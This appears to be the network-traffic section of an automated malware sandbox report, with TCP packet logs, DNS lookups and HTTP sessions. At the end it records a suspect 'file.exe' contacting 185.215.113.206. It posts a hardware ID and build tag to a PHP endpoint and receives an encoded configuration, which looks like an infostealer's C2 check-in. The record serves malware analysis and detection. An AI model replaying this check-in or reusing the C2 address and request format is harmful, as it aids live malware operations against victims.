Oct 29, 2024 20:35:25.995337009 CET	49969	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:35:25.995357037 CET	443	49969	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:25.996237993 CET	49972	443	192.168.2.5	20.190.159.2
Oct 29, 2024 20:35:25.996268034 CET	443	49972	20.190.159.2	192.168.2.5
Oct 29, 2024 20:35:26.031506062 CET	443	49970	108.156.211.59	192.168.2.5
Oct 29, 2024 20:35:26.032689095 CET	443	49970	108.156.211.59	192.168.2.5
Oct 29, 2024 20:35:26.032763958 CET	49970	443	192.168.2.5	108.156.211.59
Oct 29, 2024 20:35:26.032855988 CET	49973	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:35:26.032886982 CET	443	49973	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:26.032943964 CET	49973	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:35:26.036206961 CET	49970	443	192.168.2.5	108.156.211.59
Oct 29, 2024 20:35:26.036226988 CET	443	49970	108.156.211.59	192.168.2.5
Oct 29, 2024 20:35:26.036370039 CET	49970	443	192.168.2.5	108.156.211.59
Oct 29, 2024 20:35:26.036386013 CET	49970	443	192.168.2.5	108.156.211.59
Oct 29, 2024 20:35:26.038813114 CET	49974	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:35:26.038849115 CET	443	49974	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:26.039073944 CET	49974	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:35:26.045273066 CET	49973	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:35:26.045303106 CET	443	49973	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:26.045741081 CET	49974	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:35:26.045753002 CET	443	49974	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:26.053680897 CET	49975	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:35:26.053718090 CET	443	49975	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:26.053782940 CET	49975	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:35:26.053997040 CET	49975	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:35:26.054009914 CET	443	49975	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:26.074353933 CET	443	49957	23.47.50.133	192.168.2.5
Oct 29, 2024 20:35:26.074368954 CET	443	49957	23.47.50.133	192.168.2.5
Oct 29, 2024 20:35:26.074403048 CET	443	49957	23.47.50.133	192.168.2.5
Oct 29, 2024 20:35:26.074414968 CET	443	49957	23.47.50.133	192.168.2.5
Oct 29, 2024 20:35:26.074440956 CET	49957	443	192.168.2.5	23.47.50.133
Oct 29, 2024 20:35:26.074465990 CET	443	49957	23.47.50.133	192.168.2.5
Oct 29, 2024 20:35:26.074485064 CET	49957	443	192.168.2.5	23.47.50.133
Oct 29, 2024 20:35:26.074512959 CET	49957	443	192.168.2.5	23.47.50.133
Oct 29, 2024 20:35:26.141968966 CET	443	49968	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:26.142187119 CET	443	49968	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:26.142407894 CET	443	49969	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:26.142440081 CET	443	49969	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:26.142468929 CET	49968	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:35:26.142501116 CET	443	49969	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:26.142535925 CET	49969	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:35:26.142535925 CET	49969	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:35:26.148243904 CET	49968	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:35:26.148263931 CET	443	49968	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:26.148294926 CET	49968	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:35:26.148302078 CET	443	49968	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:26.153393030 CET	49969	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:35:26.153393030 CET	49969	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:35:26.153419018 CET	443	49969	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:26.153431892 CET	443	49969	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:26.164745092 CET	49977	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:35:26.164778948 CET	443	49977	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:26.164901972 CET	49977	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:35:26.168863058 CET	49977	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:35:26.168880939 CET	443	49977	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:26.171614885 CET	49978	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:35:26.171646118 CET	443	49978	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:26.171735048 CET	49978	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:35:26.171947956 CET	49978	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:35:26.171966076 CET	443	49978	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:26.201430082 CET	443	49957	23.47.50.133	192.168.2.5
Oct 29, 2024 20:35:26.201448917 CET	443	49957	23.47.50.133	192.168.2.5
Oct 29, 2024 20:35:26.201468945 CET	443	49957	23.47.50.133	192.168.2.5
Oct 29, 2024 20:35:26.201479912 CET	443	49957	23.47.50.133	192.168.2.5
Oct 29, 2024 20:35:26.201494932 CET	49957	443	192.168.2.5	23.47.50.133
Oct 29, 2024 20:35:26.201531887 CET	49957	443	192.168.2.5	23.47.50.133
Oct 29, 2024 20:35:26.201540947 CET	443	49957	23.47.50.133	192.168.2.5
Oct 29, 2024 20:35:26.201580048 CET	49957	443	192.168.2.5	23.47.50.133
Oct 29, 2024 20:35:26.241303921 CET	443	49957	23.47.50.133	192.168.2.5
Oct 29, 2024 20:35:26.241370916 CET	49957	443	192.168.2.5	23.47.50.133
Oct 29, 2024 20:35:26.241389990 CET	443	49957	23.47.50.133	192.168.2.5
Oct 29, 2024 20:35:26.241416931 CET	443	49957	23.47.50.133	192.168.2.5
Oct 29, 2024 20:35:26.241628885 CET	49957	443	192.168.2.5	23.47.50.133
Oct 29, 2024 20:35:26.250298023 CET	49957	443	192.168.2.5	23.47.50.133
Oct 29, 2024 20:35:26.250318050 CET	443	49957	23.47.50.133	192.168.2.5
Oct 29, 2024 20:35:26.285181046 CET	49979	443	192.168.2.5	20.189.173.23
Oct 29, 2024 20:35:26.285227060 CET	443	49979	20.189.173.23	192.168.2.5
Oct 29, 2024 20:35:26.285290956 CET	49979	443	192.168.2.5	20.189.173.23
Oct 29, 2024 20:35:26.298674107 CET	49979	443	192.168.2.5	20.189.173.23
Oct 29, 2024 20:35:26.298710108 CET	443	49979	20.189.173.23	192.168.2.5
Oct 29, 2024 20:35:26.428628922 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:26.428628922 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:26.437864065 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:26.437911034 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:26.553792953 CET	49980	443	192.168.2.5	20.125.209.212
Oct 29, 2024 20:35:26.553823948 CET	443	49980	20.125.209.212	192.168.2.5
Oct 29, 2024 20:35:26.553914070 CET	49980	443	192.168.2.5	20.125.209.212
Oct 29, 2024 20:35:26.554682970 CET	49980	443	192.168.2.5	20.125.209.212
Oct 29, 2024 20:35:26.554692984 CET	443	49980	20.125.209.212	192.168.2.5
Oct 29, 2024 20:35:26.608828068 CET	49981	443	192.168.2.5	20.189.173.23
Oct 29, 2024 20:35:26.608879089 CET	443	49981	20.189.173.23	192.168.2.5
Oct 29, 2024 20:35:26.608974934 CET	49981	443	192.168.2.5	20.189.173.23
Oct 29, 2024 20:35:26.609442949 CET	49982	443	192.168.2.5	20.189.173.23
Oct 29, 2024 20:35:26.609483957 CET	443	49982	20.189.173.23	192.168.2.5
Oct 29, 2024 20:35:26.609625101 CET	49981	443	192.168.2.5	20.189.173.23
Oct 29, 2024 20:35:26.609641075 CET	443	49981	20.189.173.23	192.168.2.5
Oct 29, 2024 20:35:26.609690905 CET	49982	443	192.168.2.5	20.189.173.23
Oct 29, 2024 20:35:26.610054016 CET	49982	443	192.168.2.5	20.189.173.23
Oct 29, 2024 20:35:26.610066891 CET	443	49982	20.189.173.23	192.168.2.5
Oct 29, 2024 20:35:26.784343004 CET	443	49973	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:26.784392118 CET	443	49974	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:26.786027908 CET	443	49975	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:26.808175087 CET	49973	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:35:26.808197021 CET	443	49973	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:26.809058905 CET	49973	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:35:26.809066057 CET	443	49973	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:26.809467077 CET	49974	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:35:26.809500933 CET	443	49974	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:26.810024977 CET	49974	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:35:26.810036898 CET	443	49974	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:26.810564041 CET	49975	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:35:26.810580015 CET	443	49975	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:26.811206102 CET	49975	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:35:26.811213017 CET	443	49975	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:26.909554005 CET	443	49978	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:26.910244942 CET	49978	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:35:26.910269976 CET	443	49978	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:26.910794020 CET	49978	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:35:26.910800934 CET	443	49978	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:26.913499117 CET	443	49977	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:26.913945913 CET	49977	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:35:26.913979053 CET	443	49977	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:26.914433956 CET	49977	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:35:26.914443970 CET	443	49977	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:26.936003923 CET	443	49973	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:26.936079025 CET	443	49973	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:26.936184883 CET	49973	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:35:26.936402082 CET	49973	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:35:26.936413050 CET	443	49973	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:26.936441898 CET	49973	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:35:26.936446905 CET	443	49973	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:26.936901093 CET	443	49974	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:26.936974049 CET	443	49974	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:26.937230110 CET	49974	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:35:26.937372923 CET	49974	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:35:26.937372923 CET	49974	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:35:26.937391043 CET	443	49974	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:26.937406063 CET	443	49974	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:26.938393116 CET	443	49975	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:26.938452959 CET	443	49975	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:26.938507080 CET	49975	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:35:26.941368103 CET	49975	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:35:26.941375971 CET	443	49975	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:26.954051018 CET	49983	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:35:26.954103947 CET	443	49983	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:26.954168081 CET	49983	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:35:26.990264893 CET	49984	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:35:26.990325928 CET	443	49984	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:26.990466118 CET	49984	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:35:26.992291927 CET	49985	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:35:26.992332935 CET	443	49985	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:26.992417097 CET	49985	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:35:26.993289948 CET	49983	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:35:26.993318081 CET	443	49983	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:27.000240088 CET	49984	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:35:27.000276089 CET	443	49984	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:27.000601053 CET	49985	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:35:27.000613928 CET	443	49985	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:27.040370941 CET	443	49978	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:27.040445089 CET	443	49978	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:27.040596008 CET	49978	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:35:27.040921926 CET	49978	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:35:27.040939093 CET	443	49978	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:27.040952921 CET	49978	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:35:27.040958881 CET	443	49978	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:27.044751883 CET	49986	443	192.168.2.5	13.107.246.45

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Oct 29, 2024 20:34:59.101005077 CET	192.168.2.5	1.1.1.1	0x26a2	Standard query (0)	www.google.com	A (IP address)	IN (0x0001)	false
Oct 29, 2024 20:34:59.101145983 CET	192.168.2.5	1.1.1.1	0xb340	Standard query (0)	www.google.com	65	IN (0x0001)	false
Oct 29, 2024 20:35:04.160032034 CET	192.168.2.5	1.1.1.1	0xfcad	Standard query (0)	apis.google.com	A (IP address)	IN (0x0001)	false
Oct 29, 2024 20:35:04.160177946 CET	192.168.2.5	1.1.1.1	0x9eec	Standard query (0)	apis.google.com	65	IN (0x0001)	false
Oct 29, 2024 20:35:05.152376890 CET	192.168.2.5	1.1.1.1	0xcee2	Standard query (0)	play.google.com	A (IP address)	IN (0x0001)	false
Oct 29, 2024 20:35:05.152848005 CET	192.168.2.5	1.1.1.1	0x1351	Standard query (0)	play.google.com	65	IN (0x0001)	false
Oct 29, 2024 20:35:11.812566996 CET	192.168.2.5	1.1.1.1	0xeaf0	Standard query (0)	ntp.msn.com	A (IP address)	IN (0x0001)	false
Oct 29, 2024 20:35:11.812756062 CET	192.168.2.5	1.1.1.1	0xbe7f	Standard query (0)	ntp.msn.com	65	IN (0x0001)	false
Oct 29, 2024 20:35:13.571099043 CET	192.168.2.5	1.1.1.1	0x356d	Standard query (0)	bzib.nelreports.net	A (IP address)	IN (0x0001)	false
Oct 29, 2024 20:35:13.571352959 CET	192.168.2.5	1.1.1.1	0x3ce4	Standard query (0)	bzib.nelreports.net	65	IN (0x0001)	false
Oct 29, 2024 20:35:15.108613968 CET	192.168.2.5	1.1.1.1	0xe06	Standard query (0)	assets.msn.com	A (IP address)	IN (0x0001)	false
Oct 29, 2024 20:35:15.109133005 CET	192.168.2.5	1.1.1.1	0x281e	Standard query (0)	assets.msn.com	65	IN (0x0001)	false
Oct 29, 2024 20:35:15.113656998 CET	192.168.2.5	1.1.1.1	0xb84d	Standard query (0)	sb.scorecardresearch.com	A (IP address)	IN (0x0001)	false
Oct 29, 2024 20:35:15.113810062 CET	192.168.2.5	1.1.1.1	0x1487	Standard query (0)	sb.scorecardresearch.com	65	IN (0x0001)	false
Oct 29, 2024 20:35:15.133141994 CET	192.168.2.5	1.1.1.1	0xd932	Standard query (0)	c.msn.com	A (IP address)	IN (0x0001)	false
Oct 29, 2024 20:35:15.133754015 CET	192.168.2.5	1.1.1.1	0x69bc	Standard query (0)	c.msn.com	65	IN (0x0001)	false
Oct 29, 2024 20:35:15.145291090 CET	192.168.2.5	1.1.1.1	0x7e83	Standard query (0)	api.msn.com	A (IP address)	IN (0x0001)	false
Oct 29, 2024 20:35:15.145466089 CET	192.168.2.5	1.1.1.1	0xe12f	Standard query (0)	api.msn.com	65	IN (0x0001)	false
Oct 29, 2024 20:35:15.905822039 CET	192.168.2.5	1.1.1.1	0xb74a	Standard query (0)	chrome.cloudflare-dns.com	A (IP address)	IN (0x0001)	false
Oct 29, 2024 20:35:15.906215906 CET	192.168.2.5	1.1.1.1	0xc1cb	Standard query (0)	chrome.cloudflare-dns.com	65	IN (0x0001)	false
Oct 29, 2024 20:35:15.907130003 CET	192.168.2.5	1.1.1.1	0x4c	Standard query (0)	chrome.cloudflare-dns.com	A (IP address)	IN (0x0001)	false
Oct 29, 2024 20:35:15.907480001 CET	192.168.2.5	1.1.1.1	0xb779	Standard query (0)	chrome.cloudflare-dns.com	65	IN (0x0001)	false
Oct 29, 2024 20:35:15.928173065 CET	192.168.2.5	1.1.1.1	0xbf6d	Standard query (0)	chrome.cloudflare-dns.com	A (IP address)	IN (0x0001)	false
Oct 29, 2024 20:35:15.928344011 CET	192.168.2.5	1.1.1.1	0x6d0	Standard query (0)	chrome.cloudflare-dns.com	65	IN (0x0001)	false
Oct 29, 2024 20:35:16.576719999 CET	192.168.2.5	1.1.1.1	0x597e	Standard query (0)	clients2.googleusercontent.com	A (IP address)	IN (0x0001)	false
Oct 29, 2024 20:35:16.577018976 CET	192.168.2.5	1.1.1.1	0x228e	Standard query (0)	clients2.googleusercontent.com	65	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Oct 29, 2024 20:34:59.108616114 CET	1.1.1.1	192.168.2.5	0xb340	No error (0)	www.google.com			65	IN (0x0001)	false
Oct 29, 2024 20:34:59.109946966 CET	1.1.1.1	192.168.2.5	0x26a2	No error (0)	www.google.com		142.250.185.228	A (IP address)	IN (0x0001)	false
Oct 29, 2024 20:35:04.167346954 CET	1.1.1.1	192.168.2.5	0xfcad	No error (0)	apis.google.com	plus.l.google.com		CNAME (Canonical name)	IN (0x0001)	false
Oct 29, 2024 20:35:04.167346954 CET	1.1.1.1	192.168.2.5	0xfcad	No error (0)	plus.l.google.com		142.250.181.238	A (IP address)	IN (0x0001)	false
Oct 29, 2024 20:35:04.167490005 CET	1.1.1.1	192.168.2.5	0x9eec	No error (0)	apis.google.com	plus.l.google.com		CNAME (Canonical name)	IN (0x0001)	false
Oct 29, 2024 20:35:05.163394928 CET	1.1.1.1	192.168.2.5	0xcee2	No error (0)	play.google.com		142.250.185.110	A (IP address)	IN (0x0001)	false
Oct 29, 2024 20:35:11.821188927 CET	1.1.1.1	192.168.2.5	0xeaf0	No error (0)	ntp.msn.com	www-msn-com.a-0003.a-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 29, 2024 20:35:11.821271896 CET	1.1.1.1	192.168.2.5	0xbe7f	No error (0)	ntp.msn.com	www-msn-com.a-0003.a-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 29, 2024 20:35:12.366121054 CET	1.1.1.1	192.168.2.5	0xfb7f	No error (0)	bingadsedgeextension-prod-europe.azurewebsites.net	ssl.bingadsedgeextension-prod-europe.azurewebsites.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 29, 2024 20:35:12.366121054 CET	1.1.1.1	192.168.2.5	0xfb7f	No error (0)	ssl.bingadsedgeextension-prod-europe.azurewebsites.net		94.245.104.56	A (IP address)	IN (0x0001)	false
Oct 29, 2024 20:35:12.367156982 CET	1.1.1.1	192.168.2.5	0x8564	No error (0)	bingadsedgeextension-prod-europe.azurewebsites.net	ssl.bingadsedgeextension-prod-europe.azurewebsites.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 29, 2024 20:35:13.579010010 CET	1.1.1.1	192.168.2.5	0x356d	No error (0)	bzib.nelreports.net	bzib.nelreports.net.akamaized.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 29, 2024 20:35:13.580065966 CET	1.1.1.1	192.168.2.5	0x3ce4	No error (0)	bzib.nelreports.net	bzib.nelreports.net.akamaized.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 29, 2024 20:35:15.116605043 CET	1.1.1.1	192.168.2.5	0x281e	No error (0)	assets.msn.com	assets.msn.com.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 29, 2024 20:35:15.117443085 CET	1.1.1.1	192.168.2.5	0xe06	No error (0)	assets.msn.com	assets.msn.com.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 29, 2024 20:35:15.122169018 CET	1.1.1.1	192.168.2.5	0xb84d	No error (0)	sb.scorecardresearch.com		18.244.18.38	A (IP address)	IN (0x0001)	false
Oct 29, 2024 20:35:15.122169018 CET	1.1.1.1	192.168.2.5	0xb84d	No error (0)	sb.scorecardresearch.com		18.244.18.32	A (IP address)	IN (0x0001)	false
Oct 29, 2024 20:35:15.122169018 CET	1.1.1.1	192.168.2.5	0xb84d	No error (0)	sb.scorecardresearch.com		18.244.18.27	A (IP address)	IN (0x0001)	false
Oct 29, 2024 20:35:15.122169018 CET	1.1.1.1	192.168.2.5	0xb84d	No error (0)	sb.scorecardresearch.com		18.244.18.122	A (IP address)	IN (0x0001)	false
Oct 29, 2024 20:35:15.140804052 CET	1.1.1.1	192.168.2.5	0xd932	No error (0)	c.msn.com	c-msn-com-nsatc.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 29, 2024 20:35:15.142267942 CET	1.1.1.1	192.168.2.5	0x69bc	No error (0)	c.msn.com	c-msn-com-nsatc.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 29, 2024 20:35:15.152621031 CET	1.1.1.1	192.168.2.5	0x7e83	No error (0)	api.msn.com	api-msn-com.a-0003.a-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 29, 2024 20:35:15.153526068 CET	1.1.1.1	192.168.2.5	0xe12f	No error (0)	api.msn.com	api-msn-com.a-0003.a-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 29, 2024 20:35:15.914494991 CET	1.1.1.1	192.168.2.5	0xb74a	No error (0)	chrome.cloudflare-dns.com		172.64.41.3	A (IP address)	IN (0x0001)	false
Oct 29, 2024 20:35:15.914494991 CET	1.1.1.1	192.168.2.5	0xb74a	No error (0)	chrome.cloudflare-dns.com		162.159.61.3	A (IP address)	IN (0x0001)	false
Oct 29, 2024 20:35:15.914510965 CET	1.1.1.1	192.168.2.5	0xc1cb	No error (0)	chrome.cloudflare-dns.com			65	IN (0x0001)	false
Oct 29, 2024 20:35:15.914643049 CET	1.1.1.1	192.168.2.5	0x4c	No error (0)	chrome.cloudflare-dns.com		162.159.61.3	A (IP address)	IN (0x0001)	false
Oct 29, 2024 20:35:15.914643049 CET	1.1.1.1	192.168.2.5	0x4c	No error (0)	chrome.cloudflare-dns.com		172.64.41.3	A (IP address)	IN (0x0001)	false
Oct 29, 2024 20:35:15.916068077 CET	1.1.1.1	192.168.2.5	0xb779	No error (0)	chrome.cloudflare-dns.com			65	IN (0x0001)	false
Oct 29, 2024 20:35:15.935807943 CET	1.1.1.1	192.168.2.5	0xbf6d	No error (0)	chrome.cloudflare-dns.com		162.159.61.3	A (IP address)	IN (0x0001)	false
Oct 29, 2024 20:35:15.935807943 CET	1.1.1.1	192.168.2.5	0xbf6d	No error (0)	chrome.cloudflare-dns.com		172.64.41.3	A (IP address)	IN (0x0001)	false
Oct 29, 2024 20:35:15.938997030 CET	1.1.1.1	192.168.2.5	0x6d0	No error (0)	chrome.cloudflare-dns.com			65	IN (0x0001)	false
Oct 29, 2024 20:35:16.584470034 CET	1.1.1.1	192.168.2.5	0x597e	No error (0)	clients2.googleusercontent.com	googlehosted.l.googleusercontent.com		CNAME (Canonical name)	IN (0x0001)	false
Oct 29, 2024 20:35:16.584470034 CET	1.1.1.1	192.168.2.5	0x597e	No error (0)	googlehosted.l.googleusercontent.com		142.250.185.225	A (IP address)	IN (0x0001)	false
Oct 29, 2024 20:35:16.586119890 CET	1.1.1.1	192.168.2.5	0x228e	No error (0)	clients2.googleusercontent.com	googlehosted.l.googleusercontent.com		CNAME (Canonical name)	IN (0x0001)	false

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.5	49704	185.215.113.206	80	3340	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
Oct 29, 2024 20:34:52.188421965 CET	90	OUT	GET / HTTP/1.1 Host: 185.215.113.206 Connection: Keep-Alive Cache-Control: no-cache
Oct 29, 2024 20:34:53.097290993 CET	203	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 19:34:52 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Oct 29, 2024 20:34:53.108709097 CET	412	OUT	POST /6c4adf523b719729.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----CAAKKFHCFIECAAAKEGCF Host: 185.215.113.206 Content-Length: 210 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 43 41 41 4b 4b 46 48 43 46 49 45 43 41 41 41 4b 45 47 43 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 42 39 39 38 44 44 35 37 37 32 36 43 31 31 38 30 30 38 36 39 32 0d 0a 2d 2d 2d 2d 2d 2d 43 41 41 4b 4b 46 48 43 46 49 45 43 41 41 41 4b 45 47 43 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 74 61 6c 65 0d 0a 2d 2d 2d 2d 2d 2d 43 41 41 4b 4b 46 48 43 46 49 45 43 41 41 41 4b 45 47 43 46 2d 2d 0d 0a Data Ascii: ------CAAKKFHCFIECAAAKEGCFContent-Disposition: form-data; name="hwid"B998DD57726C118008692------CAAKKFHCFIECAAAKEGCFContent-Disposition: form-data; name="build"tale------CAAKKFHCFIECAAAKEGCF--
Oct 29, 2024 20:34:53.418567896 CET	407	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 19:34:53 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 180 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 5a 44 42 68 4f 44 4e 68 4f 54 68 69 59 54 41 78 4d 57 46 6b 4e 57 45 34 4d 44 45 79 4f 57 4a 6a 4f 54 46 6a 5a 6a 59 79 4f 44 63 7a 4f 54 46 68 59 7a 41 32 4d 32 46 6d 5a 6a 4a 6c 4f 54 67 79 5a 54 5a 6b 59 7a 4d 33 4f 54 51 77 4f 44 64 6d 5a 6d 45 32 59 6a 41 35 4e 7a 5a 6b 5a 6d 45 78 66 48 64 72 61 32 70 78 59 57 6c 68 65 47 74 6f 59 6e 78 7a 62 57 70 73 62 47 31 35 62 57 78 69 65 6e 45 75 63 48 64 6b 66 44 42 38 4d 48 77 78 66 44 46 38 4d 58 77 78 66 44 46 38 4d 58 77 77 66 48 6c 69 62 6d 4e 69 61 48 6c 73 5a 58 42 74 5a 58 77 3d Data Ascii: ZDBhODNhOThiYTAxMWFkNWE4MDEyOWJjOTFjZjYyODczOTFhYzA2M2FmZjJlOTgyZTZkYzM3OTQwODdmZmE2YjA5NzZkZmExfHdra2pxYWlheGtoYnxzbWpsbG15bWxienEucHdkfDB8MHwxfDF8MXwxfDF8MXwwfHlibmNiaHlsZXBtZXw=
